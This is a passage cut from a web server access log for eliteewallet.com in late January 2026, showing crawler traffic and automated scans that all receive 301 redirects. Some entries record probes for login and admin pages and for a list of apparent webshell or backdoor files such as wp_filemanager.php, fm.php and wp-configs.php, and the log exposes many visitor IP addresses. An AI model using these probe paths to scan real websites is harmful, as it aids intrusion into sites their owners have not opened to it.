X 10_14_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36" 216.81.248.168 - - [26/Jan/2026:03:55:33 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/lib/jquery-numerator/jquery-numerator.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:55.0) Gecko/20100101 Firefox/55.0" 216.81.248.168 - - [26/Jan/2026:03:55:33 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Application/Frontend/Assets/dist/smartslider-frontend.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 9; moto g(6)) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.89 Mobile Safari/537.36" 216.81.248.168 - - [26/Jan/2026:03:55:33 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Widget/Arrow/ArrowImage/Assets/dist/w-arrow-image.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)" 216.81.248.168 - - [26/Jan/2026:03:55:33 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Widget/Bullet/Assets/dist/w-bullet.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 9; INE-LX1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36" 216.81.248.168 - - [26/Jan/2026:03:55:33 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Slider/SliderType/Simple/Assets/dist/ss-simple.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (OS/2; Warp 4.5; rv:31.0) Gecko/20100101 Firefox/31.0" 216.81.248.168 - - [26/Jan/2026:03:55:33 +0300] "GET //eliteewallet.com/wp-content/plugins/the-plus-addons-for-elementor-page-builder/includes/user-experience/update-popup/tp-update-plugin-popup.js HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; GoogleToolbar 4.0.1019.5266-big; Windows XP 5.1; MSIE 6.0.2900.2180)" 216.81.248.168 - - [26/Jan/2026:03:55:33 +0300] "GET //eliteewallet.com/wp-content/themes/blocksy/static/bundle/main.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Debian/1.6-7" 216.81.248.168 - - [26/Jan/2026:03:55:33 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/ui/core.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.119 Safari/537.36" 216.81.248.168 - - [26/Jan/2026:03:55:33 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/ui/slider.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36" 216.81.248.168 - - [26/Jan/2026:03:55:33 +0300] "GET //static.elfsight.com/platform/platform.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 6.0; NCE-AL00 Build/HUAWEINCE-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/044813 Mobile Safari/537.36 MMWEBID/6904 MicroMessenger/7.0.6.1460(0x27000634) Process/tools NetType/4G Language/zh_CN" 216.81.248.168 - - [26/Jan/2026:03:55:33 +0300] "GET //eliteewallet.com/wp-content/plugins/blocksy-companion/static/bundle/sticky.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 12_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) GSA/80.0.262003652 Mobile/16G77 Safari/604.1" 216.81.248.168 - - [26/Jan/2026:03:55:33 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/js/frontend-modules.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36" 216.81.248.168 - - [26/Jan/2026:03:55:33 +0300] "GET //eliteewallet.com/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 9; SM-G973U1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36" 216.81.248.168 - - [26/Jan/2026:03:55:33 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Application/Frontend/Assets/dist/n2.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux; Android 9; GM1913) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.111 Mobile Safari/537.36" 216.81.248.168 - - [26/Jan/2026:03:55:33 +0300] "GET //eliteewallet.com/wp-content/plugins/smart-slider-3/Public/SmartSlider3/Slider/SliderType/Simple/Assets/dist/smartslider-backgroundanimation.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 (Gentoo) Galeon/2.0.6" 216.81.248.168 - - [26/Jan/2026:03:55:33 +0300] "GET //eliteewallet.com/wp-content/uploads/theplus-addons/theplus-post-81.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; NetBSD x86; en-us) AppleWebKit/666.6+ (KHTML, like Gecko) Chromium/20.0.0000.00 Chrome/20.0.0000.00 Safari/666.6+" 216.81.248.168 - - [26/Jan/2026:03:55:33 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/jquery-migrate.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3880.4 Safari/537.36" 216.81.248.168 - - [26/Jan/2026:03:55:33 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/jquery.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36" 216.81.248.168 - - [26/Jan/2026:03:55:33 +0300] "GET //eliteewallet.com/wp-includes/js/jquery/ui/mouse.min.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (MeeGo; NokiaN950-00/00) AppleWebKit/534.13 (KHTML, like Gecko) NokiaBrowser/8.5.0 Mobile Safari/534.13" 43.166.247.155 - - [26/Jan/2026:04:25:15 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 83.99.206.76 - - [26/Jan/2026:05:33:37 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko; GeedoShopProductFinder) Chrome/142.0.0.0 Safari/537.36" 114.80.36.40 - - [26/Jan/2026:07:53:19 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 141.98.11.44 - - [26/Jan/2026:08:30:11 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "https://wordpress.org/" "Mozilla/5.0 (Windows NT 11.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36" 101.33.81.73 - - [26/Jan/2026:09:35:22 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 3.151.194.164 - - [26/Jan/2026:09:15:24 +0300] "GET / HTTP/1.1" 301 795 "-" "air.ai/scanning Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 3.228.76.156 - - [26/Jan/2026:09:47:38 +0300] "GET / HTTP/1.0" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36" 145.220.91.19 - - [26/Jan/2026:10:08:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0" 43.133.139.6 - - [26/Jan/2026:10:26:16 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 104.28.235.58 - - [26/Jan/2026:11:13:36 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 194.233.73.36 - - [26/Jan/2026:11:34:53 +0300] "GET http://eliteewallet.com/wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 140.245.117.185 - - [26/Jan/2026:13:41:59 +0300] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/116.0 Safari/537.36" 140.245.117.185 - - [26/Jan/2026:13:41:38 +0300] "GET / HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 140.245.117.185 - - [26/Jan/2026:13:41:39 +0300] "GET /wp-login.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Android 13; Mobile; rv:117.0) Gecko/117.0 Firefox/117.0" 140.245.117.185 - - [26/Jan/2026:13:41:40 +0300] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Android 13; Mobile; rv:117.0) Gecko/117.0 Firefox/117.0" 140.245.117.185 - - [26/Jan/2026:13:42:04 +0300] "GET /register HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/117.0" 140.245.117.185 - - [26/Jan/2026:13:42:14 +0300] "GET /login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/117.0" 140.245.117.185 - - [26/Jan/2026:13:41:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Android 13; Mobile; rv:117.0) Gecko/117.0 Firefox/117.0" 173.252.87.115 - - [26/Jan/2026:14:01:40 +0300] "GET / HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 27.46.75.5 - - [26/Jan/2026:14:06:49 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4019.37 Safari/537.36 Core/1.70.3722.400 QQBrowser/10.5.3739.400" 140.245.117.185 - - [26/Jan/2026:13:41:52 +0300] "GET /user/login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/116.0 Safari/537.36" 140.245.117.185 - - [26/Jan/2026:13:41:45 +0300] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Android 13; Mobile; rv:117.0) Gecko/117.0 Firefox/117.0" 140.245.117.185 - - [26/Jan/2026:13:42:09 +0300] "GET /admin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5_1) AppleWebKit/605.1.15 Safari/605.1.15" 140.245.117.185 - - [26/Jan/2026:13:41:54 +0300] "GET /admin HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/116.0 Safari/537.36" 182.44.8.254 - - [26/Jan/2026:14:13:59 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 87.121.84.30 - - [26/Jan/2026:14:19:23 +0300] "GET /admin/assets/jquery-file-upload/server/php/index.php?file=tf2rghf.jpg HTTP/1.1" 301 795 "-" "ALittle Client" 51.68.236.71 - - [26/Jan/2026:15:11:47 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 51.68.236.71 - - [26/Jan/2026:15:11:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MJ12bot/v2.0.4; http://mj12bot.com/)" 170.106.152.218 - - [26/Jan/2026:15:32:45 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 43.130.154.56 - - [26/Jan/2026:16:23:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 144.31.25.190 - - [26/Jan/2026:17:43:41 +0300] "HEAD /wordpress HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 44.249.192.226 - - [26/Jan/2026:18:33:05 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 3.20.201.240 - - [26/Jan/2026:18:49:29 +0300] "GET / HTTP/1.1" 301 795 "-" "air.ai/scanning Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 3.151.194.164 - - [26/Jan/2026:18:53:04 +0300] "GET / HTTP/1.1" 301 795 "-" "air.ai/scanning Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/126.0.0.0 Safari/537.36" 216.244.66.194 - - [26/Jan/2026:19:37:53 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 101.47.16.101 - - [26/Jan/2026:19:28:06 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 34.34.53.155 - - [26/Jan/2026:19:29:13 +0300] "GET /media/system/js/core.js HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 69.171.231.10 - - [26/Jan/2026:19:18:29 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)" 43.157.150.69 - - [26/Jan/2026:21:21:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 217.154.88.198 - - [26/Jan/2026:21:16:45 +0300] "GET /userfuns.php HTTP/1.1" 301 795 "www.google.com" "Mozlila/5.0 (Linux; Android 7.0; SM-G892A Bulid/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Moblie Safari/537.36" 165.227.123.141 - - [26/Jan/2026:22:30:44 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 209.38.228.161 - - [26/Jan/2026:21:52:34 +0300] "GET /favicon.ico HTTP/1.1" 301 795 "http://eliteewallet.com/" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 93.158.90.72 - - [26/Jan/2026:22:03:43 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Agency/93.8.2357.5" 209.38.228.161 - - [26/Jan/2026:21:52:34 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:142.0) Gecko/20100101 Firefox/142.0" 49.51.245.241 - - [26/Jan/2026:22:20:02 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 195.211.197.113 - - [26/Jan/2026:22:33:17 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 103.156.74.129 - - [26/Jan/2026:22:33:21 +0300] "GET /wp-json/wp/v2/posts HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 40.65.177.112 - - [26/Jan/2026:23:15:04 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 216.244.66.194 - - [27/Jan/2026:00:20:42 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 144.22.226.84 - - [27/Jan/2026:01:52:21 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 144.22.226.84 - - [27/Jan/2026:01:52:22 +0300] "GET /wp-json/wc/v3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 144.22.226.84 - - [27/Jan/2026:01:52:25 +0300] "GET /index.php?route=checkout/cart HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 144.22.226.84 - - [27/Jan/2026:01:52:30 +0300] "GET /index.php?route=account/register HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 144.22.226.84 - - [27/Jan/2026:01:52:35 +0300] "GET /index.php?route=account/login HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 144.22.226.84 - - [27/Jan/2026:01:52:40 +0300] "GET /index.php?route=checkout/checkout HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 144.22.226.84 - - [27/Jan/2026:01:52:45 +0300] "GET /admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 144.22.226.84 - - [27/Jan/2026:01:52:51 +0300] "GET /wp-login.php?action=register HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36" 80.94.92.96 - - [27/Jan/2026:01:19:25 +0300] "GET / HTTP/1.1" 301 795 "-" "python-requests/2.32.5" 80.94.92.96 - - [27/Jan/2026:01:19:23 +0300] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.5" 91.202.4.80 - - [27/Jan/2026:03:07:16 +0300] "GET /inputs.php HTTP/1.1" 301 795 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)" 27.46.69.14 - - [27/Jan/2026:03:33:54 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.2635.113 Safari/537.36 Edge/18.18362" 43.166.224.244 - - [27/Jan/2026:03:40:36 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 104.28.246.114 - - [27/Jan/2026:05:58:37 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 162.142.125.43 - - [27/Jan/2026:04:59:06 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 42.83.147.55 - - [27/Jan/2026:04:52:47 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/74.0.3729.169 Safari/537.36" 43.135.172.89 - - [27/Jan/2026:04:40:48 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 18.232.99.16 - - [27/Jan/2026:06:39:36 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 18.232.99.16 - - [27/Jan/2026:06:47:09 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36" 45.95.146.83 - - [27/Jan/2026:08:21:53 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" 20.213.33.1 - - [27/Jan/2026:09:13:01 +0300] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:13:11 +0300] "GET /baixy.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:13:57 +0300] "GET /ceiif.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:16:26 +0300] "GET /z.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:17:47 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:14:04 +0300] "GET /sst.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:13:35 +0300] "GET /nf.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:14:20 +0300] "GET /class-db.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:14:30 +0300] "GET /tmpls.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:18:14 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:13:22 +0300] "GET /bgymj.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:15:15 +0300] "GET /pro.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:18:01 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:18:43 +0300] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:18:58 +0300] "GET /xmlrpc.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:19:03 +0300] "GET /file56.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:13:46 +0300] "GET /davaa.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:16:13 +0300] "GET /abcd.php HTTP/1.1" 301 795 "-" "-" 49.233.45.47 - - [27/Jan/2026:09:16:31 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 20.213.33.1 - - [27/Jan/2026:09:17:04 +0300] "GET /image.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:17:08 +0300] "GET /file22.php HTTP/1.1" 301 795 "-" "-" 104.28.235.59 - - [27/Jan/2026:09:17:26 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Go-http-client/1.1" 20.213.33.1 - - [27/Jan/2026:09:19:17 +0300] "GET /990.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:16:41 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:18:29 +0300] "GET /xxxx.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:15:26 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:15:56 +0300] "GET /data.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:17:37 +0300] "GET /wp-header-json.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:14:48 +0300] "GET /ver.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:15:00 +0300] "GET /ultra.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:15:46 +0300] "GET /e.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:17:22 +0300] "GET /check.php HTTP/1.1" 301 795 "-" "-" 20.213.33.1 - - [27/Jan/2026:09:19:36 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "-" 43.157.156.190 - - [27/Jan/2026:10:25:55 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 64.89.163.10 - - [27/Jan/2026:11:37:01 +0300] "GET / HTTP/1.1" 301 795 "-" "-" 43.166.226.186 - - [27/Jan/2026:11:41:00 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" 44.195.201.244 - - [27/Jan/2026:11:01:35 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/600.2.5 (KHTML, like Gecko) Version/8.0.2 Safari/600.2.5 (TestUserAgent)" 17.241.75.114 - - [27/Jan/2026:13:06:29 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 17.241.75.114 - - [27/Jan/2026:13:06:29 +0300] "GET / HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)" 4.197.94.190 - - [27/Jan/2026:14:40:52 +0300] "GET //wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36" 64.225.49.30 - - [27/Jan/2026:14:15:24 +0300] "GET /wp-admin/css/ HTTP/1.1" 301 795 "binance.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 216.244.66.194 - - [27/Jan/2026:14:41:51 +0300] "GET /robots.txt HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; DotBot/1.2; +https://opensiteexplorer.org/dotbot; help@moz.com)" 172.212.113.5 